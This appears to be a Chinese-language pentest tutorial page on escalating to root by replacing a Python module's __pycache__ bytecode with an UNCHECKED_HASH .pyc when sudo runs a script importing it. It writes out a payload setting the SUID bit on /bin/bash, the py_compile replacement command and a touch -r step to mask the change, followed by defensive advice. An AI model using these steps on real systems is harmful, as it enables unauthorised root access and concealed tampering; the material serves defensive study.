跳到主要内容

Python pycache 缓存劫持提权

Python 首次 import 模块时会在 __pycache__ 目录生成 .pyc 字节码缓存。如果 sudo 免密执行的是一个 import 本地模块的 Python 脚本,而模块的缓存目录对当前用户可写,就可以让 root 在下次执行时加载攻击者替换过的字节码,源文件本身保持不动。


判断前提

条件验证方式
sudo 免密执行 python3 /path/task.pysudo -l
脚本 import 同目录本地模块阅读 task.py 源码
模块的 __pycache__ 可写(如 777)ls -la /path/__pycache__
缓存文件名与解释器版本匹配.cpython-311.pyc 对应 Python 3.11

原理(PEP 552)

.pyc 头部带有 invalidation 模式标记,决定解释器如何判断缓存是否新鲜:

invalidation 模式校验行为
timestamp(默认)对比源文件 mtime/size
checked-hash对比源文件哈希
unchecked-hash不做校验,直接加载缓存字节码

UNCHECKED_HASH 模式跳过源文件 mtime/size 校验,替换后的缓存不需要与源文件保持一致,是最理想的劫持模式。


利用步骤

写恶意模块逻辑:

# evil.py
import os
os.system("chmod u+s /bin/bash")

编译并替换目标模块的缓存:

python3 -c "import py_compile; py_compile.compile('evil.py', '<moddir>/__pycache__/<module>.cpython-311.pyc', invalidation_mode=py_compile.PycInvalidationMode.UNCHECKED_HASH)"

touch -r 参照其他文件对齐时间戳,降低显眼程度:

touch -r /path/task.py /path/__pycache__/<module>.cpython-311.pyc

之后等待 root 定时任务或管理员手工执行触发。


复核要点

  1. sudo -l 中的 Python 脚本是否 import 本地可写模块。
  2. __pycache__ 目录的属主与权限。
  3. 现有 .pyc 文件名中的版本 tag 与 python3 --version 是否一致。
  4. 替换后的文件时间戳是否与周围文件对齐。

防御建议

  1. Python 项目目录与 __pycache__ 不允许服务账号以外的用户写入。
  2. sudo 执行 Python 时使用 -P 或隔离环境,避免加载不可信路径下的模块。
  3. 将任务打包为 root 专属 venv,缓存目录随代码一起收紧。
  4. 监控任务目录中 .pyc 文件的异常更新。